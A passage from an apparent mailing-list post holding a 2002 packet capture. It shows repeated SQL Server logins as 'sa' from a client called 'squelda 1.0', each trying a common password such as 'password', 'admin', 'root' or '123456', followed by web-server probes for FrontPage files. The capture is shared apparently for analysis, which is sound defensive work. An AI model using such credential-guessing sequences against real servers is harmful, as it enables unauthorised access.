  00 00 00 08 69 6e 74 65    72 6e 65 74 00 00 00 00    ....internet....
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 04 02 00 00 4d 53    44 42 4c 49 42 00 00 00    ......MSDBLIB...
  07 06 00 00 00 00 0d 11    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
#
T 2002/11/28 16:36:51.370508 80.13.253.117:3636 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:51.380635 80.13.253.117:3636 -> 12.82.129.119:1433 [AF]
#
T 2002/11/28 16:36:51.390579 80.13.253.117:3659 -> 12.82.129.119:1433 [S]
#
T 2002/11/28 16:36:51.730514 80.13.253.117:3659 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:51.850530 80.13.253.117:3659 -> 12.82.129.119:1433 [AP]
  02 00 02 00 00 00 02 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 73    61 00 00 00 00 00 00 00    .......sa.......
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 02 70 61    73 73 77 6f 72 64 00 00    ......password..
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 08 30 30 30    30 30 30 61 30 00 00 00    .....000000a0...
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 20 18    .............. .
  81 b8 2c 08 03 01 06 0a    09 01 01 00 00 00 00 00    ..,.............
  00 00 00 00 73 71 75 65    6c 64 61 20 31 2e 30 00    ....squelda 1.0.
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 0b 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 08 70 61 73 73    77 6f 72 64 00 00 00 00    ....password....
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 04 02 00 00 4d 53    44 42 4c 49 42 00 00 00    ......MSDBLIB...
  07 06 00 00 00 00 0d 11    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
#
T 2002/11/28 16:36:52.210543 80.13.253.117:3659 -> 12.82.129.119:1433 [AP]
  02 01 00 4c 00 00 03 00    00 00 00 00 00 00 00 01    ...L............
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 30 30 30    .............000
  00 00 03 00 00 00 00 00    00 00 00 00 00             .............   
#
T 2002/11/28 16:36:52.280603 80.13.253.117:3659 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:52.300685 80.13.253.117:3659 -> 12.82.129.119:1433 [AF]
#
T 2002/11/28 16:36:52.310633 80.13.253.117:3684 -> 12.82.129.119:1433 [S]
#
T 2002/11/28 16:36:52.650608 80.13.253.117:3684 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:52.770631 80.13.253.117:3684 -> 12.82.129.119:1433 [AP]
  02 00 02 00 00 00 02 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 73    61 00 00 00 00 00 00 00    .......sa.......
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 02 61 64    6d 69 6e 00 00 00 00 00    ......admin.....
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 05 30 30 30    30 30 30 61 30 00 00 00    .....000000a0...
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 20 18    .............. .
  81 b8 2c 08 03 01 06 0a    09 01 01 00 00 00 00 00    ..,.............
  00 00 00 00 73 71 75 65    6c 64 61 20 31 2e 30 00    ....squelda 1.0.
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 0b 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 05 61 64 6d 69    6e 00 00 00 00 00 00 00    ....admin.......
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 04 02 00 00 4d 53    44 42 4c 49 42 00 00 00    ......MSDBLIB...
  07 06 00 00 00 00 0d 11    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
#
T 2002/11/28 16:36:53.130607 80.13.253.117:3684 -> 12.82.129.119:1433 [AP]
  02 01 00 4c 00 00 03 00    00 00 00 00 00 00 00 01    ...L............
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 30 30 30    .............000
  00 00 03 00 00 00 00 00    00 00 00 00 00             .............   
#
T 2002/11/28 16:36:53.140672 80.13.253.117:3684 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:53.160929 80.13.253.117:3684 -> 12.82.129.119:1433 [AF]
#
T 2002/11/28 16:36:53.170644 80.13.253.117:3716 -> 12.82.129.119:1433 [S]
#
T 2002/11/28 16:36:53.540704 80.13.253.117:3716 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:53.660721 80.13.253.117:3716 -> 12.82.129.119:1433 [AP]
  02 00 02 00 00 00 02 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 73    61 00 00 00 00 00 00 00    .......sa.......
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 02 73 65    72 76 65 72 00 00 00 00    ......server....
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 06 30 30 30    30 30 30 61 30 00 00 00    .....000000a0...
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 20 18    .............. .
  81 b8 2c 08 03 01 06 0a    09 01 01 00 00 00 00 00    ..,.............
  00 00 00 00 73 71 75 65    6c 64 61 20 31 2e 30 00    ....squelda 1.0.
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 0b 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 06 73 65 72 76    65 72 00 00 00 00 00 00    ....server......
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 04 02 00 00 4d 53    44 42 4c 49 42 00 00 00    ......MSDBLIB...
  07 06 00 00 00 00 0d 11    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
#
T 2002/11/28 16:36:54.020730 80.13.253.117:3716 -> 12.82.129.119:1433 [AP]
  02 01 00 4c 00 00 03 00    00 00 00 00 00 00 00 01    ...L............
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 30 30 30    .............000
  00 00 03 00 00 00 00 00    00 00 00 00 00             .............   
#
T 2002/11/28 16:36:54.090748 80.13.253.117:3716 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:54.110725 80.13.253.117:3716 -> 12.82.129.119:1433 [AF]
#
T 2002/11/28 16:36:54.120740 80.13.253.117:3745 -> 12.82.129.119:1433 [S]
#
T 2002/11/28 16:36:54.540858 80.13.253.117:3745 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:54.660852 80.13.253.117:3745 -> 12.82.129.119:1433 [AP]
  02 00 02 00 00 00 02 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 73    61 00 00 00 00 00 00 00    .......sa.......
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 02 73 75    70 65 72 00 00 00 00 00    ......super.....
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 05 30 30 30    30 30 30 61 30 00 00 00    .....000000a0...
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 20 18    .............. .
  81 b8 2c 08 03 01 06 0a    09 01 01 00 00 00 00 00    ..,.............
  00 00 00 00 73 71 75 65    6c 64 61 20 31 2e 30 00    ....squelda 1.0.
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 0b 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 05 73 75 70 65    72 00 00 00 00 00 00 00    ....super.......
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 04 02 00 00 4d 53    44 42 4c 49 42 00 00 00    ......MSDBLIB...
  07 06 00 00 00 00 0d 11    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
#
T 2002/11/28 16:36:55.020812 80.13.253.117:3745 -> 12.82.129.119:1433 [AP]
  02 01 00 4c 00 00 03 00    00 00 00 00 00 00 00 01    ...L............
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 30 30 30    .............000
  00 00 03 00 00 00 00 00    00 00 00 00 00             .............   
#
T 2002/11/28 16:36:55.030882 80.13.253.117:3745 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:55.050856 80.13.253.117:3745 -> 12.82.129.119:1433 [AF]
#
T 2002/11/28 16:36:55.060857 80.13.253.117:3778 -> 12.82.129.119:1433 [S]
#
T 2002/11/28 16:36:55.400907 80.13.253.117:3778 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:55.520920 80.13.253.117:3778 -> 12.82.129.119:1433 [AP]
  02 00 02 00 00 00 02 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 73    61 00 00 00 00 00 00 00    .......sa.......
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 02 72 6f    6f 74 00 00 00 00 00 00    ......root......
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 04 30 30 30    30 30 30 61 30 00 00 00    .....000000a0...
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 20 18    .............. .
  81 b8 2c 08 03 01 06 0a    09 01 01 00 00 00 00 00    ..,.............
  00 00 00 00 73 71 75 65    6c 64 61 20 31 2e 30 00    ....squelda 1.0.
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 0b 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 04 72 6f 6f 74    00 00 00 00 00 00 00 00    ....root........
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 04 02 00 00 4d 53    44 42 4c 49 42 00 00 00    ......MSDBLIB...
  07 06 00 00 00 00 0d 11    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
#
T 2002/11/28 16:36:55.910958 80.13.253.117:3778 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:55.930965 80.13.253.117:3778 -> 12.82.129.119:1433 [AF]
#
T 2002/11/28 16:36:55.940955 80.13.253.117:3802 -> 12.82.129.119:1433 [S]
#
T 2002/11/28 16:36:56.280966 80.13.253.117:3802 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:56.401025 80.13.253.117:3802 -> 12.82.129.119:1433 [AP]
  02 00 02 00 00 00 02 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 73    61 00 00 00 00 00 00 00    .......sa.......
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 02 31 32    33 34 35 36 00 00 00 00    ......123456....
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 06 30 30 30    30 30 30 61 30 00 00 00    .....000000a0...
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 20 18    .............. .
  81 b8 2c 08 03 01 06 0a    09 01 01 00 00 00 00 00    ..,.............
  00 00 00 00 73 71 75 65    6c 64 61 20 31 2e 30 00    ....squelda 1.0.
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 0b 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 06 31 32 33 34    35 36 00 00 00 00 00 00    ....123456......
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 04 02 00 00 4d 53    44 42 4c 49 42 00 00 00    ......MSDBLIB...
  07 06 00 00 00 00 0d 11    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
#
T 2002/11/28 16:36:56.831026 80.13.253.117:3802 -> 12.82.129.119:1433 [AP]
  02 01 00 4c 00 00 03 00    00 00 00 00 00 00 00 01    ...L............
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 30 30 30    .............000
  00 00 03 00 00 00 00 00    00 00 00 00 00             .............   
#
T 2002/11/28 16:36:56.831059 80.13.253.117:3802 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:56.841061 80.13.253.117:3802 -> 12.82.129.119:1433 [AF]
#
T 2002/11/28 16:36:56.851139 80.13.253.117:3821 -> 12.82.129.119:1433 [S]
#
T 2002/11/28 16:36:57.191022 80.13.253.117:3821 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:57.301124 80.13.253.117:3821 -> 12.82.129.119:1433 [AP]
  02 00 02 00 00 00 02 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 73    61 00 00 00 00 00 00 00    .......sa.......
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 02 31 32    33 34 35 00 00 00 00 00    ......12345.....
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 05 30 30 30    30 30 30 61 30 00 00 00    .....000000a0...
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 20 18    .............. .
  81 b8 2c 08 03 01 06 0a    09 01 01 00 00 00 00 00    ..,.............
  00 00 00 00 73 71 75 65    6c 64 61 20 31 2e 30 00    ....squelda 1.0.
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 0b 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 05 31 32 33 34    35 00 00 00 00 00 00 00    ....12345.......
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 04 02 00 00 4d 53    44 42 4c 49 42 00 00 00    ......MSDBLIB...
  07 06 00 00 00 00 0d 11    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
#
T 2002/11/28 16:36:57.651151 80.13.253.117:3821 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:57.671163 80.13.253.117:3821 -> 12.82.129.119:1433 [AF]
#
T 2002/11/28 16:36:57.681165 80.13.253.117:3844 -> 12.82.129.119:80 [S]
#
T 2002/11/28 16:36:58.021110 80.13.253.117:3844 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:58.031158 80.13.253.117:3844 -> 12.82.129.119:80 [AP]
  47 45 54 20 2f 20 48 54    54 50 2f 31 2e 31 0d 0a    GET / HTTP/1.1..
  48 6f 73 74 3a 20 31 32    2e 38 32 2e 31 32 39 2e    Host: 12.82.129.
  31 31 39 0d 0a 0d 0a                                  119....         
#
T 2002/11/28 16:36:58.391274 80.13.253.117:3844 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:58.411293 80.13.253.117:3844 -> 12.82.129.119:80 [AF]
#
T 2002/11/28 16:36:58.421253 80.13.253.117:3863 -> 12.82.129.119:80 [S]
#
T 2002/11/28 16:36:58.761267 80.13.253.117:3863 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:58.781365 80.13.253.117:3863 -> 12.82.129.119:80 [AP]
  47 45 54 20 2f 5f 76 74    69 5f 69 6e 66 2e 68 74    GET /_vti_inf.ht
  6d 6c 20 48 54 54 50 2f    31 2e 31 0d 0a 48 6f 73    ml HTTP/1.1..Hos
  74 3a 20 31 32 2e 38 32    2e 31 32 39 2e 31 31 39    t: 12.82.129.119
  0d 0a 0d 0a                                           ....            
#
T 2002/11/28 16:36:59.171255 80.13.253.117:3863 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:59.211364 80.13.253.117:3863 -> 12.82.129.119:80 [AF]
exit




- John
-- 
NEWS FLASH: Lowest common denominator continues to plummet

    PGP key: http://www.finchhaven.com/pages/gpg_pubkey.html
Fingerprint: C493 9F26 05A9 6497 9800  4EF6 5FC8 F23D 35A4 F705




More information about the list mailing list